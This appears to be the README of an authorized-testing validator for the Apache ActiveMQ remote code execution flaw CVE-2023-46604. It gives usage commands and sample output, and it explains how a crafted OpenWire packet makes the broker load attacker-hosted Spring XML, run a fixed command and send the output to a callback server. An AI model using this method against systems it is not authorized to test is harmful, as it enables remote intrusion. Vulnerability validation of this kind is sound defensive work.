
Non-destructive validator for Apache ActiveMQ CVE-2023-46604. Sends crafted OpenWire packets, uses HTTP callback server to confirm RCE or XML loading, and generates CSV/JSON evidence for authorized penetration tests.
A single-file, non-destructive validator for Apache ActiveMQ CVE-2023-46604. It starts its own HTTP callback server, generates target-specific Spring XML in memory, sends the crafted OpenWire packet, correlates callbacks with unique tokens, and writes CSV/JSON evidence.
The project is designed for authorized penetration tests and fleet validation. It deliberately does not implement reverse shells, unrestricted command execution, CIDR expansion, persistence, or payload staging.
Two fixed proof modes are available:
rce executes a fixed, read-only identity probe and returns its output to the built-in HTTP server. A callback confirms operating-system command execution in the ActiveMQ service context.xml serves an empty Spring context. A fetch confirms that the crafted OpenWire message caused the target to instantiate ClassPathXmlApplicationContext and retrieve attacker-controlled XML, without starting a process.No XML files need to be created or hosted separately.
--fail-on-vuln exit codeThe default OpenWire port is 61616, but non-default ports are supported.
Use documentation-only addresses in examples; replace them with your authorized assets.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
The script starts the callback server automatically on TCP/8000, serves the generated XML, sends the OpenWire packet, waits for evidence, prints a result table, and writes:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
Create targets.txt:
# One explicitly authorized host per line
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
Run:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
Target files may contain blank lines and comments beginning with #. CIDR expansion is intentionally unsupported; enumerate the authorized inventory explicitly.
For simple routed networks, omit --callback-host:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
The tool selects the local source address used to route toward the first target. Specify --callback-host when testing through NAT, VPNs, containers, jump hosts, or multi-homed systems.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
The Windows probe uses a fixed, non-interactive PowerShell command to return the service identity, computer name, and OS version. It does not provide an interactive shell.
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
This mode does not instantiate ProcessBuilder.
Use an ssl:// target:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
For an internal listener with an untrusted certificate:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify affects only the OpenWire TLS connection. The callback server is HTTP.
| Status | Meaning |
|---|---|
CONFIRMED_VULNERABLE_RCE | The target fetched its XML and the fixed identity command returned evidence. |
CONFIRMED_VULNERABLE_XML_LOAD | In xml mode, the target fetched the unique XML document. |
VULNERABLE_XML_LOAD_ONLY | In rce mode, XML retrieval occurred but the command callback did not. The vulnerable class-instantiation path is confirmed; callback tooling, egress, or process execution may be restricted. |
NOT_CONFIRMED | The packet was sent, but no correlated HTTP evidence arrived before the deadline. This is not proof that the host is patched. |
UNREACHABLE | The TCP/TLS connection or packet send failed. |
A patched broker, an incorrect port, egress filtering, routing problems, TLS mismatch, and endpoint controls can all affect callback-based validation. Preserve the CSV/JSON timestamps and callback output as report evidence.
The Linux identity probe returns output similar to:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
It tries curl, wget, and BusyBox wget for the HTTP POST. If the XML is fetched but none of those clients is available, the result is VULNERABLE_XML_LOAD_ONLY rather than a false negative.
0: validation completed, or vulnerabilities were found without --fail-on-vuln2: at least one vulnerable result was found and --fail-on-vuln was suppliedExample CI usage:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
CVE-2023-46604 affects Java OpenWire unmarshalling. The validator sends a loose-marshalled OpenWire ExceptionResponse whose exception class is:
org.springframework.context.support.ClassPathXmlApplicationContext
The exception message is the unique URL of the generated Spring XML. Vulnerable ActiveMQ code instantiates the attacker-selected class with that URL. In rce mode, the Spring context starts a fixed ProcessBuilder probe; in xml mode, the context is empty.
Every target receives a different token, for example:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
This allows concurrent callbacks to be attributed to the correct target.